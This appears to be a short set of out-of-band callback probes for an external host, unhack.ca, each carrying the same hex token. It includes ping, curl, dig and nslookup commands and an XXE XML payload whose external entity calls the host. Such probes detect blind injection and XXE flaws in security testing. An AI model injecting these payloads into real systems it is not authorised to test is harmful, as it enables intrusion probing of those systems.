$ ping -c1 -p 00b00ddaba3fb3968ea56cc24d37f700 unhack.ca
 

$ curl http://unhack.ca/p/b00ddaba3fb3968ea56cc24d37f7
 

$ dig b00ddaba3fb3968ea56cc24d37f7 @unhack.ca
 

$ dig b00ddaba3fb3968ea56cc24d37f7.ns.unhack.ca
 

C:\> nslookup b00ddaba3fb3968ea56cc24d37f7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b00ddaba3fb3968ea56cc24d37f7">]>
    <foo>&xxe;</foo>